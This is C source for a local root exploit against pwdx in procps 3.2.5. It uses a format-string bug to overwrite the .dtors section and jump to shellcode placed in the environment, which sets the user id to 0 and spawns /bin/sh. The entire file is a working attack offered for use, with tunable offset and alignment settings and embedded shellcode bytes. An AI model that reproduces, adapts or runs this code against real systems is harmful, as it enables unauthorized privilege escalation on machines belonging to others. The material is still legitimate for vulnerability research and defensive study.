/* Topic   : Local Exploit Against Procps 3.2.5
 *
 * System  : Debian Linux 2.4.29-vs1.2.10
 *
 * Author  : posidron / posidron@tripbit.org
 *
 * Founder : Imran Ghory
 * 
 * Advisory:
 */


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdarg.h>
#include <inttypes.h>

/* change this by your needs */
#define BINARY  "/usr/bin/pwdx"
#define OBJDUMP "/usr/bin/objdump"
#define GREP    "/bin/grep"

/* some standard values */
#define STD_OFFSET 36
#define STD_ALIGN   2

void do_quit(char *fmt, ...);

/* my linux IA32 setuid(0) bytecode (32 bytes) */
char shell[] = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" // :p
               "\x31\xc0\x50\x68\x2f\x2f\x73\x68"
               "\x68\x2f\x62\x69\x6e\x89\xe3\x50"
               "\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

int main (int argc, char **argv) {
  FILE     *fd;
  int32_t  opt;
  int32_t  r, i;
  char     *optstr = "o:a:";
  char     *arg[4], *env[2];
  char     payload[512], tmp[128];
  uint32_t offset, align, dtors;
  uint32_t retaddr, high, low;

  offset = STD_OFFSET;
  align  = STD_ALIGN;

  while ((opt = getopt(argc, argv, optstr)) != -1) {
    switch (opt) {
      case 'o':
        offset = atoi(optarg);
      break;
      case 'a':
        align  = atoi(optarg);
      break;
      default:
      do_quit("wrong parameter");
    }
  }

  /* calculate the address of the bytecode in the env */
  retaddr = 0xbffffffa - strlen(BINARY) - strlen(shell);

  /* grep the .dtors address */
  snprintf(tmp, sizeof (tmp), "%s -s -j .dtors %s | %s ffffffff",
    OBJDUMP, BINARY, GREP);

  fd = popen(tmp, "r");

  if (fd == NULL) {
    do_quit("unable to grep .dtors address!");
  }

  r = fscanf(fd, " %08x", &dtors);

  if (r == -1) {
    pclose(fd);
    do_quit("can't find .dtors address!");
  }
  pclose(fd);

  printf("{-} .dtors     : 0x0%x\n", dtors);
  dtors += 4;
  printf("{-} .dtors + 4 : 0x0%0x\n", dtors);
  printf("{-} &shell     : 0x%x\n", retaddr);
  printf("{-} alignment  : %u\n", align);

  /* cut the addr into 4 low and high bytes */
  high = (retaddr & 0xffff0000) >> 16;
   low = (retaddr & 0x0000ffff);

  printf("{-} high bytes : 0x%x (%d) at offset %d\n",
    high, high, offset+1);
  printf("{-} low  bytes : 0x%x (%d) at offset %d\n",
    low, low, offset);

  memset(payload, 0x90, sizeof(payload));
  memset(tmp,     0x90, sizeof(tmp));

  /* do the alignment in case of 0x64614141 */
  memset(payload, 'A', align);

  i = align;

  /* convert the two dtors addresses to little endian */
  payload[i++] = (dtors & 0x000000ff) >>  0;
  payload[i++] = (dtors & 0x0000ff00) >>  8;
  payload[i++] = (dtors & 0x00ff0000) >> 16;
  payload[i++] = (dtors & 0xff000000) >> 24;
  dtors += 2;
  payload[i++] = (dtors & 0x000000ff) >>  0;
  payload[i++] = (dtors & 0x0000ff00) >>  8;
  payload[i++] = (dtors & 0x00ff0000) >> 16;
  payload[i++] = (dtors & 0xff000000) >> 24;

  /* build the format string */
  high = 0x1bfff - low;
  low = low - 36;

  /* jump to the place where our shell lies. */
  sprintf(tmp, "%%.%uu%%%d$hn"
               "%%.%uu%%%d$hn",
               low, offset, high, offset + 1);

  /* build the whole payload */
  memcpy(payload + i, tmp, strlen(tmp));
  payload[strlen(payload) + 1] = '\0';

  /* set the binary arguments */
  arg[0] = BINARY;
  arg[1] = payload;
  arg[2] = NULL;

  /* put the bytecode into env */
  env[0] = shell;
  env[1] = NULL;

  printf("Press [Enter] to continue!\n");
  getchar();

  /* execute this shit :> */
  execve(arg[0], arg, env);

  do_quit("execve failed!");
}

void do_quit(char *fmt, ...) {
  va_list args;

  va_start(args, fmt);
  fprintf(stderr, "error: ");
  vfprintf(stderr, fmt, args);
  fprintf(stderr, "\n");
  va_end(args);
  exit(1);
}